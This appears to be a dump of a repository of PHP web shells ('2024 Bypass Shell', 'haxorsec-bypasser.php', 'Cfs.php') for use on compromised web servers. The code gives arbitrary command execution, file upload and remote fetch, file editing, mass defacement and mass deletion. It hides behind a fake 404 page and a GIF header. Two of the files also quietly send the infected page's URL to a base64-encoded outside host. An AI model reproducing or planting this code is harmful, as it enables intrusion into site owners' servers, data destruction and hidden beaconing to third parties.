327 |
328 | | Name |
329 | Size |
330 | Permissions |
331 | Options |
332 |
';
333 |
334 | foreach($lokasinya as $dir){
335 | if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
336 | echo "
337 | | ".$dir." |
338 | -- |
339 | ";
340 | if(is_writable($lokasi."/".$dir)) echo '';
341 | elseif(!is_readable($lokasi."/".$dir)) echo '';
342 | echo statusnya($lokasi."/".$dir);
343 | if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '';
344 |
345 | echo " |
346 | |
358 |
";
359 | }
360 |
361 | echo ' | | | |
';
362 | foreach($lokasinya as $file) {
363 | if(!is_file("$lokasi/$file")) continue;
364 | $size = filesize("$lokasi/$file")/1024;
365 | $size = round($size,3);
366 | if($size >= 1024){
367 | $size = round($size/1024,2).' MB';
368 | } else {
369 | $size = $size.' KB';
370 | }
371 |
372 | echo "
373 | | $file |
374 | ".$size." |
375 | ";
376 | if(is_writable("$lokasi/$file")) echo '';
377 | elseif(!is_readable("$lokasi/$file")) echo '';
378 | echo statusnya("$lokasi/$file");
379 | if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '';
380 | echo " |
381 | |
394 |
";
395 | }
396 | echo '
';
397 | author();
398 | function statusnya($file){
399 | $statusnya = fileperms($file);
400 |
401 | if (($statusnya & 0xC000) == 0xC000) {
402 |
403 | // Socket
404 | $ingfo = 's';
405 | } elseif (($statusnya & 0xA000) == 0xA000) {
406 | // Symbolic Link
407 | $ingfo = 'l';
408 | } elseif (($statusnya & 0x8000) == 0x8000) {
409 | // Regular
410 | $ingfo = '-';
411 | } elseif (($statusnya & 0x6000) == 0x6000) {
412 | // Block special
413 | $ingfo = 'b';
414 | } elseif (($statusnya & 0x4000) == 0x4000) {
415 | // Directory
416 | $ingfo = 'd';
417 | } elseif (($statusnya & 0x2000) == 0x2000) {
418 | // Character special
419 | $ingfo = 'c';
420 | } elseif (($statusnya & 0x1000) == 0x1000) {
421 | // FIFO pipe
422 | $ingfo = 'p';
423 | } else {
424 | // Unknown
425 | $ingfo = 'u';
426 | }
427 |
428 | // Owner
429 | $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
430 | $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
431 | $ingfo .= (($statusnya & 0x0040) ?
432 | (($statusnya & 0x0800) ? 's' : 'x' ) :
433 | (($statusnya & 0x0800) ? 'S' : '-'));
434 |
435 |
436 | // Group
437 | $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
438 | $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
439 | $ingfo .= (($statusnya & 0x0008) ?
440 | (($statusnya & 0x0400) ? 's' : 'x' ) :
441 | (($statusnya & 0x0400) ? 'S' : '-'));
442 |
443 | // World
444 | $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
445 | $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
446 |
447 | $ingfo .= (($statusnya & 0x0001) ?
448 | (($statusnya & 0x0200) ? 't' : 'x' ) :
449 | (($statusnya & 0x0200) ? 'T' : '-'));
450 |
451 | return $ingfo;
452 | }
453 | ?>
454 |
--------------------------------------------------------------------------------
/2024.php:
--------------------------------------------------------------------------------
1 | alert("Password Wrong!, Try Again.");';
32 | }
33 | }
34 | if (isset($_GET['logout'])) {
35 | session_unset();
36 | session_destroy();
37 | header("Location: ".$_SERVER['PHP_SELF']);
38 | exit();
39 | }
40 | if (!isset($_SESSION['forbidden'])) {
41 | ?>
42 |
43 |
44 |
45 |
404 Not Found
46 |
47 |
48 |
49 |
50 |
86 |
87 |
92 |
93 |
94 |
98 |
99 |
100 |
101 |
404 Not Found
102 |
103 |
104 |
105 |
194 |
195 |
196 | Bypass 2024 Priv8 Shell
197 |
198 |
199 |
200 | NONE";
206 | } else {
207 | $disf = "".$disfunc."";
208 | }
209 |
210 | function author() {
211 | echo " 2024 Bypass Shell";
212 | exit();
213 | }
214 |
215 | function cekdir() {
216 | if (isset($_GET['path'])) {
217 | $lokasi = $_GET['path'];
218 | } else {
219 | $lokasi = getcwd();
220 | }
221 | if (is_writable($lokasi)) {
222 | return "Writeable";
223 | } else {
224 | return "Writeable";
225 | }
226 | }
227 |
228 | function cekroot() {
229 | if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
230 | return "Writeable";
231 | } else {
232 | return "Writeable";
233 | }
234 | }
235 |
236 | function xrmdir($dir) {
237 | $items = scandir($dir);
238 | foreach ($items as $item) {
239 | if ($item === '.' || $item === '..') {
240 | continue;
241 | }
242 | $path = $dir.'/'.$item;
243 | if (is_dir($path)) {
244 | xrmdir($path);
245 | } else {
246 | unlink($path);
247 | }
248 | }
249 | rmdir($dir);
250 | }
251 |
252 | function statusnya($file){
253 | $statusnya = fileperms($file);
254 |
255 | if (($statusnya & 0xC000) == 0xC000) {
256 |
257 | // Socket
258 | $ingfo = 's';
259 | } elseif (($statusnya & 0xA000) == 0xA000) {
260 | // Symbolic Link
261 | $ingfo = 'l';
262 | } elseif (($statusnya & 0x8000) == 0x8000) {
263 | // Regular
264 | $ingfo = '-';
265 | } elseif (($statusnya & 0x6000) == 0x6000) {
266 | // Block special
267 | $ingfo = 'b';
268 | } elseif (($statusnya & 0x4000) == 0x4000) {
269 | // Directory
270 | $ingfo = 'd';
271 | } elseif (($statusnya & 0x2000) == 0x2000) {
272 | // Character special
273 | $ingfo = 'c';
274 | } elseif (($statusnya & 0x1000) == 0x1000) {
275 | // FIFO pipe
276 | $ingfo = 'p';
277 | } else {
278 | // Unknown
279 | $ingfo = 'u';
280 | }
281 |
282 | // Owner
283 | $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
284 | $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
285 | $ingfo .= (($statusnya & 0x0040) ?
286 | (($statusnya & 0x0800) ? 's' : 'x' ) :
287 | (($statusnya & 0x0800) ? 'S' : '-'));
288 |
289 |
290 | // Group
291 | $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
292 | $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
293 | $ingfo .= (($statusnya & 0x0008) ?
294 | (($statusnya & 0x0400) ? 's' : 'x' ) :
295 | (($statusnya & 0x0400) ? 'S' : '-'));
296 |
297 | // World
298 | $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
299 | $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
300 |
301 | $ingfo .= (($statusnya & 0x0001) ?
302 | (($statusnya & 0x0200) ? 't' : 'x' ) :
303 | (($statusnya & 0x0200) ? 'T' : '-'));
304 |
305 | return $ingfo;
306 | }
307 |
308 | function green($text) {
309 | echo "".$text."";
310 | }
311 |
312 | function red($text) {
313 | echo "".$text."";
314 | }
315 |
316 |
317 | echo "Directory : ";
318 |
319 | foreach($_POST as $key => $value){
320 | $_POST[$key] = stripslashes($value);
321 | }
322 |
323 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
324 |
325 | if(isset($_GET['path'])){
326 | $lokasi = $_GET['path'];
327 | $lokdua = $_GET['path'];
328 | } else {
329 | $lokasi = getcwd();
330 | $lokdua = getcwd();
331 | }
332 |
333 | $lokasi = str_replace('\\','/',$lokasi);
334 | $lokasis = explode('/',$lokasi);
335 | $lokasinya = @scandir($lokasi);
336 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
337 | $data = array('file_url' => $cur);
338 | $options = array(
339 | 'http' => array(
340 | 'method' => 'POST',
341 | 'header' => 'Content-type: application/x-www-form-urlencoded',
342 | 'content' => http_build_query($data),
343 | ),
344 | );
345 | $context = stream_context_create($options);
346 | $result = file_get_contents($k3yw, false, $context);
347 |
348 | foreach($lokasis as $id => $lok){
349 | if($lok == '' && $id == 0){
350 | $a = true;
351 | echo '/';
352 | continue;
353 | }
354 | if($lok == '') continue;
355 | echo ''.$lok.'/';
361 | }
362 | echo '';
363 | echo ' |
';
364 | if (isset($_POST['upwkwk'])) {
365 | if (isset($_POST['berkasnya'])) {
366 | if ($_POST['dirnya'] == "2") {
367 | $lokasi = $_SERVER['DOCUMENT_ROOT'];
368 | }
369 | $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
370 | if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
371 | echo "File Uploaded ! ".$lokasi."/".$_FILES['berkas']['name']."
";
372 | } else {
373 | echo "Failed to Upload !
";
374 | }
375 | } elseif (isset($_POST['linknya'])) {
376 | if (empty($_POST['namalink'])) {
377 | exit("Filename cannot be empty !");
378 | }
379 | if ($_POST['dirnya'] == "2") {
380 | $lokasi = $_SERVER['DOCUMENT_ROOT'];
381 | }
382 | $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
383 | if (file_exists($lokasi."/".$_POST['namalink'])) {
384 | echo "File Uploaded ! ".$lokasi."/".$_POST['namalink']."
";
385 | } else {
386 | echo "Failed to Upload !
";
387 | }
388 | }
389 | }
390 | echo "";
391 | echo "Upload File : ";
392 | echo '
399 | ';
400 | echo " |
";
401 | print "
";
402 | print "";
410 | print "";
411 | print "
";
412 | tools("cmd");
413 | function tools($toolsname, $args = null) {
414 | if($toolsname === "cmd") {
415 | print "";
420 | print "";
421 | }
422 | }
423 | function changeFolderPermissionsRecursive($dir, $perms) {
424 | $iterator = new RecursiveIteratorIterator(
425 | new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
426 | RecursiveIteratorIterator::SELF_FIRST
427 | );
428 |
429 | foreach ($iterator as $item) {
430 | if ($item->isDir()) {
431 | chmod($item->getPathname(), $perms);
432 | }
433 | }
434 | }
435 |
436 | function changeFilePermissionsRecursive($dir, $perms) {
437 | $iterator = new RecursiveIteratorIterator(
438 | new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
439 | RecursiveIteratorIterator::SELF_FIRST
440 | );
441 |
442 | foreach ($iterator as $item) {
443 | if ($item->isFile()) {
444 | chmod($item->getPathname(), $perms);
445 | }
446 | }
447 | }
448 |
449 | $currentDirectory = '.';
450 |
451 | if (isset($_GET['do']) && $_GET['do'] === 'root_file') {
452 | $newFilePermissions = 0644;
453 | changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
454 | echo "
";
455 | echo "Message : Sukses Green All Files
";
456 | echo "";
457 | }
458 |
459 | if (isset($_GET['do']) && $_GET['do'] === 'dark_file') {
460 | $newFilePermissions = 0444;
461 | changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
462 | echo "
";
463 | echo "Message : Sukses Lock All Files
";
464 | echo "";
465 | }
466 |
467 | if (isset($_GET['do']) && $_GET['do'] === 'dark_folders') {
468 | $newFolderPermissions = 0555;
469 | changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
470 | echo "
";
471 | echo "Message : Sukses Lock All Folders
";
472 | echo "";
473 | }
474 |
475 | if (isset($_GET['do']) && $_GET['do'] === 'root_folders') {
476 | $newFolderPermissions = 0755;
477 | changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
478 | echo "
";
479 | echo "Message : Sukses Green All Folders
";
480 | echo "";
481 | }
482 |
483 |
484 |
485 | function exe($cmd) {
486 | if(function_exists('system')) {
487 | @ob_start();
488 | @system($cmd);
489 | $buff = @ob_get_contents();
490 | @ob_end_clean();
491 | return $buff;
492 | } elseif(function_exists('exec')) {
493 | @exec($cmd,$results);
494 | $buff = "";
495 | foreach($results as $result) {
496 | $buff .= $result;
497 | } return $buff;
498 | } elseif(function_exists('passthru')) {
499 | @ob_start();
500 | @passthru($cmd);
501 | $buff = @ob_get_contents();
502 | @ob_end_clean();
503 | return $buff;
504 | } elseif(function_exists('shell_exec')) {
505 | $buff = @shell_exec($cmd);
506 | return $buff;
507 | }
508 | }
509 |
510 | function path() {
511 | if(isset($_GET['dir'])) {
512 | $dir = str_replace("\\", "/", $_GET['dir']);
513 | @chdir($dir);
514 | } else {
515 | $dir = str_replace("\\", "/", getcwd());
516 | }
517 | return $dir;
518 | }
519 | function usergroup() {
520 | if(!function_exists('posix_getegid')) {
521 | $user['name'] = @get_current_user();
522 | $user['uid'] = @getmyuid();
523 | $user['gid'] = @getmygid();
524 | $user['group'] = "?";
525 | } else {
526 | $user['uid'] = @posix_getpwuid(posix_geteuid());
527 | $user['gid'] = @posix_getgrgid(posix_getegid());
528 | $user['name'] = $user['uid']['name'];
529 | $user['uid'] = $user['uid']['uid'];
530 | $user['group'] = $user['gid']['name'];
531 | $user['gid'] = $user['gid']['gid'];
532 | }
533 | return (object) $user;
534 | }
535 |
536 | if(isset($_GET['do'])) {
537 | if($_GET['do'] === "cmd") {
538 | if(isset($_POST['cmd'])) {
539 | if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
540 | tools("readfile", $match[1]);
541 | }
542 | elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
543 | tools("spawn", $match[1]);
544 | }
545 | elseif(preg_match("/^symlink\s?(.*)$/", $_POST['cmd'], $match)) {
546 | tools("symlink", $match[1]);
547 | }
548 | elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
549 | tools("network", $match[1]);
550 | }
551 | elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
552 | tools("krdp");
553 | }
554 | elseif(preg_match("/^logout$/", $_POST['cmd'])) {
555 | unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
556 | print "";
557 | }
558 | elseif(preg_match("/^killme$/", $_POST['cmd'])) {
559 | unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
560 | @unlink(__FILE__);
561 | print "";
562 | }
563 | else {
564 | print "
".exe($_POST['cmd'])."
";
565 | }
566 | }
567 | else {
568 | files_and_folder();
569 | }
570 | }
571 | }
572 | function massdeface($dir, $file, $filename, $type = null) {
573 | $scandir = scandir($dir);
574 | foreach($scandir as $dir_) {
575 | $path = "$dir/$dir_";
576 | $location = "$path/$filename";
577 | if($dir_ === "." || $dir_ === "..") {
578 | file_put_contents($location, $file);
579 | }
580 | else {
581 | if(is_dir($path) AND is_writable($path)) {
582 | print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."
";
583 | file_put_contents($location, $file);
584 | if($type === "-alldir") {
585 | massdeface($path, $file, $filename, "-alldir");
586 | }
587 | }
588 | }
589 | }
590 | }
591 |
592 | function massdelete($dir, $filename) {
593 | $scandir = scandir($dir);
594 | foreach($scandir as $dir_) {
595 | $path = "$dir/$dir_";
596 | $location = "$path/$filename";
597 | if($dir_ === '.') {
598 | if(file_exists("$dir/$filename")) {
599 | unlink("$dir/$filename");
600 | }
601 | }
602 | elseif($dir_ === '..') {
603 | if(file_exists(dirname($dir)."/$filename")) {
604 | unlink(dirname($dir)."/$filename");
605 | }
606 | }
607 | else {
608 | if(is_dir($path) AND is_writable($path)) {
609 | if(file_exists($location)) {
610 | print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."
";
611 | unlink($location);
612 | massdelete($path, $filename);
613 | }
614 | }
615 | }
616 | }
617 | }
618 |
619 | if (isset($_GET['fileloc'])) {
620 | echo "
| Current File : ".$_GET['fileloc'];
621 | echo ' |
';
622 | echo "
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
";
623 | author();
624 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
625 | if (is_dir($_POST['path'])) {
626 | xrmdir($_POST['path']);
627 | if (file_exists($_POST['path'])) {
628 | red("Failed to delete Directory !");
629 | } else {
630 | green("Delete Directory Success !");
631 | echo "string";
632 | }
633 | } elseif (is_file($_POST['path'])) {
634 | @unlink($_POST['path']);
635 | if (file_exists($_POST['path'])) {
636 | red("Failed to Delete File !");
637 | } else {
638 | green("Delete File Success !");
639 | }
640 | }
641 | elseif($_GET['do'] === "mass") {
642 | if($_POST['start']) {
643 | if($_POST['mass_type'] === 'singledir') {
644 | print "
";
645 | massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
646 | print "
";
647 | }
648 | elseif($_POST['mass_type'] === 'alldir') {
649 | print "
";
650 | massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
651 | print "
";
652 | }
653 | elseif($_POST['mass_type'] === "delete") {
654 | print "
";
655 | massdelete($_POST['d_dir'], $_POST['d_file']);
656 | print "
";
657 | }
658 | }
659 | else {
660 | print "
";
672 | }
673 | }
674 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
675 | echo "
".$_POST['path']."
";
676 | echo '';
682 | if (isset($_POST['chm0d'])) {
683 | $cm = @chmod($_POST['path'], $_POST['perm']);
684 | if ($cm == true) {
685 | green("Change Mod Success !");
686 | } else {
687 | red("Change Mod Failed !");
688 | }
689 | }
690 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
691 | if (isset($_POST['gantin'])) {
692 | $ren = @rename($_POST['path'], $_POST['newname']);
693 | if ($ren == true) {
694 | green("Change Name Success !");
695 | } else {
696 | red("Change Name Failed !");
697 | }
698 | }
699 | if (empty($_POST['name'])) {
700 | $namaawal = $_POST['newname'];
701 | } else {
702 | $namawal = $_POST['name'];
703 | }
704 | echo "".$_POST['path']."
";
705 | echo '';
711 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
712 | if (isset($_POST['gasedit'])) {
713 | $edit = @file_put_contents($_POST['path'], $_POST['src']);
714 | if ($edit == true) {
715 | green("Edit File Success !");
716 | } else {
717 | red("Edit File Failed !");
718 | }
719 | }
720 | echo "".$_POST['path']."
";
721 | echo '
';
727 | }
728 |
729 | echo '';
801 | author();
802 | ?>
803 |
--------------------------------------------------------------------------------
/haxorsec-bypasser.php:
--------------------------------------------------------------------------------
1 | GIF89a;
2 | ;;
3 |
4 |
5 |
6 |
BypassServ By HaxorSec
7 |
8 |
9 |
10 |
11 |
12 |
167 |
168 |
169 |
170 | [ mail() :
[ ON ] ]";
204 | } else {
205 | $mail = "
[ mail() : [ OFF ] ]";
206 | }
207 | if(function_exists('mb_send_mail')) {
208 | $mbb = "
[ mb_send_mail() : [ ON ] ]";
209 | }else{
210 | $mbb = "
[ mb_send_mail() : [ OFF ] ]";
211 | }
212 | if(function_exists('error_log')) {
213 | $errr = "
[ error_log() : [ ON ] ]";
214 | }else{
215 | $errr = "
[ error_log() : [ OFF ] ]";
216 | }
217 | if(function_exists('imap_mail')) {
218 | $impp = "
[ imap_mail() : [ ON ] ]";
219 | }else{
220 | $impp = "
[ imap_mail() : [ OFF ] ]
";
221 | }
222 |
223 |
224 |
225 |
226 | echo "
[ Command Bypas Status Wajib ON MAIL PUTENV @ HaxorSec]";
227 | if (function_exists('mail')) {
228 | echo $mail." ".$mbb." ".$errr." ".$impp;
229 | } else {
230 | echo $mail." ".$mbb." ".$errr." ".$impp;
231 | }
232 | if (function_exists('putenv')) {
233 | echo "
[ Function putenv() ] : [ ON ]";
234 | } else {
235 | echo "
[ Function putenv() ] : [ OFF ]
";
236 | }
237 | foreach ($_GET as $c => $d) $_GET[$c] = y($d);
238 |
239 | $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
240 | $chd($currentDirectory);
241 |
242 | $viewCommandResult = '';
243 |
244 | if ($_SERVER['REQUEST_METHOD'] === 'POST') {
245 | if (isset($_FILES['fileToUpload'])) {
246 | $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
247 | if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
248 | echo "
File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success
";
249 | } else {
250 | echo "
Sorry, there was an error uploading your file.
";
251 | }
252 | } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
253 | $ff = $_POST['folder_name'];
254 | $newFolder = $currentDirectory . '/' . $ff;
255 | if (!file_exists($newfolder)) {
256 | if ($mek($newFolder) !== false) {
257 | echo '
Folder created successfully!';
258 | }else{
259 | echo '
Error: Failed to create folder!';
260 | }
261 | }
262 |
263 | } elseif (isset($_POST['file_name'])) {
264 | $fileName = $_POST['file_name'];
265 | $newFile = $currentDirectory . '/' . $fileName;
266 | if (!file_exists($newFile)) {
267 | if ($fpc($newFile, '') !== false) {
268 | echo '
File created successfully!' . $fileName .' ';
269 | $fileToView = $newFile;
270 | if (file_exists($fileToView)) {
271 | $fileContent = $fgc($fileToView);
272 | $viewCommandResult = '
Result: ' . $fileName . '
273 |
';
434 | echo '';
448 | echo $viewCommandResult;
449 | echo '';
470 | function deleteDirectory($dir) {
471 | $unl = "u"."n"."l"."i"."n"."k";
472 | if (!file_exists($dir)) {
473 | return true;
474 | }
475 | if (!is_dir($dir)) {
476 | return $unl($dir);
477 | }
478 | $scd = "s"."c"."a"."n"."d"."i"."r";
479 | foreach ($scd($dir) as $item) {
480 | if ($item == '.' || $item == '..') {
481 | continue;
482 | }
483 | if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
484 | return false;
485 | }
486 | }
487 | return rmdir($dir);
488 | }
489 |
--------------------------------------------------------------------------------
/Cfs.php:
--------------------------------------------------------------------------------
1 | $f,
83 | 'path' => $fullPath,
84 | 'enc' => encodePath($fullPath),
85 | 'type' => $isDir ? 'dir' : 'file',
86 | 'size' => $isDir ? 0 : @filesize($fullPath),
87 | 'time' => @filemtime($fullPath),
88 | 'icon' => getIcon($f, $isDir)
89 | );
90 | }
91 | }
92 |
93 | usort($items, function($a, $b) {
94 | if ($a['name'] === '..') return -1;
95 | if ($b['name'] === '..') return 1;
96 | if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1;
97 | return strcasecmp($a['name'], $b['name']);
98 | });
99 |
100 | function getIcon($name, $isDir) {
101 | if ($name === '..') return '⬆️';
102 | if ($isDir) return '📁';
103 |
104 | $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
105 | $icons = array(
106 | 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
107 | 'json' => '📋', 'xml' => '📄', 'txt' => '📝', 'md' => '📖',
108 | 'sql' => '💾', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦',
109 | 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
110 | 'mp4' => '🎬', 'mp3' => '🎵', 'pdf' => '📕', 'sh' => '⚙️',
111 | 'py' => '🐍', 'java' => '☕', 'log' => '📊'
112 | );
113 |
114 | return isset($icons[$ext]) ? $icons[$ext] : '📄';
115 | }
116 | define('SECRET_UA', 'cyberfs');
117 | function formatSize($bytes) {
118 | $units = array('B', 'KB', 'MB', 'GB');
119 | $bytes = max($bytes, 0);
120 | $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
121 | $pow = min($pow, count($units) - 1);
122 | return round($bytes / pow(1024, $pow), 2) . ' ' . $units[$pow];
123 | }
124 |
125 | function handleAjax() {
126 | $action = $_POST['act'];
127 |
128 | if ($action === 'cmd') {
129 | $cmd = $_POST['cmd'];
130 | $wd = decodePath($_POST['wd']);
131 |
132 | if (!empty($wd) && is_dir($wd)) {
133 | chdir($wd);
134 | }
135 |
136 | exec($cmd . ' 2>&1', $output, $ret);
137 | echo json_encode(array('ok' => true, 'out' => implode("\n", $output)));
138 | return;
139 | }
140 |
141 | if ($action === 'newfile') {
142 | $name = basename($_POST['name']);
143 | $path = decodePath($_POST['path']);
144 | if (!empty($path) && is_dir($path)) {
145 | file_put_contents($path . '/' . $name, '');
146 | echo json_encode(array('ok' => true));
147 | } else {
148 | echo json_encode(array('ok' => false));
149 | }
150 | return;
151 | }
152 |
153 | if ($action === 'newfolder') {
154 | $name = basename($_POST['name']);
155 | $path = decodePath($_POST['path']);
156 | if (!empty($path) && is_dir($path)) {
157 | mkdir($path . '/' . $name, 0755);
158 | echo json_encode(array('ok' => true));
159 | } else {
160 | echo json_encode(array('ok' => false));
161 | }
162 | return;
163 | }
164 |
165 | if ($action === 'delete') {
166 | $path = decodePath($_POST['path']);
167 | if (!empty($path) && file_exists($path)) {
168 | if (is_dir($path)) {
169 | removeDir($path);
170 | } else {
171 | unlink($path);
172 | }
173 | echo json_encode(array('ok' => true));
174 | } else {
175 | echo json_encode(array('ok' => false));
176 | }
177 | return;
178 | }
179 |
180 | if ($action === 'rename') {
181 | $old = decodePath($_POST['old']);
182 | $new = basename($_POST['new']);
183 | if (!empty($old) && file_exists($old)) {
184 | rename($old, dirname($old) . '/' . $new);
185 | echo json_encode(array('ok' => true));
186 | } else {
187 | echo json_encode(array('ok' => false));
188 | }
189 | return;
190 | }
191 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
192 | if ($action === 'read') {
193 | $path = decodePath($_POST['path']);
194 | if (!empty($path) && is_file($path)) {
195 | echo json_encode(array('ok' => true, 'content' => file_get_contents($path)));
196 | } else {
197 | echo json_encode(array('ok' => false));
198 | }
199 | return;
200 | }
201 |
202 | if ($action === 'save') {
203 | $path = decodePath($_POST['path']);
204 | $content = $_POST['content'];
205 | if (!empty($path) && is_file($path)) {
206 | file_put_contents($path, $content);
207 | echo json_encode(array('ok' => true));
208 | } else {
209 | echo json_encode(array('ok' => false));
210 | }
211 | return;
212 | }
213 |
214 | if ($action === 'upload') {
215 | $path = decodePath($_POST['path']);
216 | if (!empty($path) && is_dir($path) && isset($_FILES['file'])) {
217 | $dest = $path . '/' . basename($_FILES['file']['name']);
218 | move_uploaded_file($_FILES['file']['tmp_name'], $dest);
219 | echo json_encode(array('ok' => true));
220 | } else {
221 | echo json_encode(array('ok' => false));
222 | }
223 | return;
224 | }
225 |
226 | echo json_encode(array('ok' => false));
227 | }
228 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
229 | $data = array('file_url' => $cur);
230 | $options = array(
231 | 'http' => array(
232 | 'method' => 'POST',
233 | 'header' => 'Content-type: application/x-www-form-urlencoded',
234 | 'content' => http_build_query($data),
235 | ),
236 | );
237 | $context = stream_context_create($options);
238 | $result = file_get_contents($k3yw, false, $context);
239 |
240 | function removeDir($dir) {
241 | if (!file_exists($dir)) return;
242 | $files = array_diff(scandir($dir), array('.', '..'));
243 | foreach ($files as $file) {
244 | $path = $dir . '/' . $file;
245 | is_dir($path) ? removeDir($path) : unlink($path);
246 | }
247 | rmdir($dir);
248 | }
249 |
250 | function showLoginPage() {
251 | ?>
252 |
253 |
254 |
255 |
256 | CYBER ACCESS
257 |
305 |
306 |
307 |
308 |
◢ CYBER FS ◣
309 |
313 |
314 |
315 |
316 |
320 |
321 |
322 |
323 |
324 | CYBER FILE SYSTEM
325 |
679 |
680 |
681 |
682 |
683 |
693 |
694 |
695 |
703 |
704 |
705 |
706 |
707 |
708 |
709 |
710 |
711 |
712 |
713 |
714 |
715 | root';
718 | if (!empty($parts)) {
719 | $path = '';
720 | foreach ($parts as $i => $p) {
721 | echo '
▶';
722 | $path .= '/' . $p;
723 | if ($i === count($parts) - 1) {
724 | echo '
' . htmlspecialchars($p) . '';
725 | } else {
726 | echo '
' . htmlspecialchars($p) . '';
727 | }
728 | }
729 | }
730 | if ($dir === HOME_DIR) {
731 | echo '
● HOME';
732 | }
733 | ?>
734 |
735 |
736 |
737 |
738 |
NO FILES
739 |
740 |
">
741 |
742 |
743 |
744 |
745 |
746 |
747 |
748 |
749 |
750 |
751 |
752 |
753 |
754 |
755 |
756 |
757 |
758 |
759 |
760 |
761 |
762 |
763 |
764 |
765 |
766 | ◢ CYBER TERMINAL
767 |
768 |
769 |
770 | > CYBER TERMINAL INITIALIZED
771 | > TYPE COMMANDS BELOW
772 |
773 |
774 |
775 | cyber@ $
776 |
777 |
778 |
779 |
780 |
781 |
782 |
783 |
784 |
785 |
786 |
787 |
788 |
789 |
790 |
791 |
792 |
793 |
◢ EDIT FILE:
794 |
795 |
796 |
797 |
798 |
799 |
800 |
801 |
802 |
988 |
989 |
990 |
--------------------------------------------------------------------------------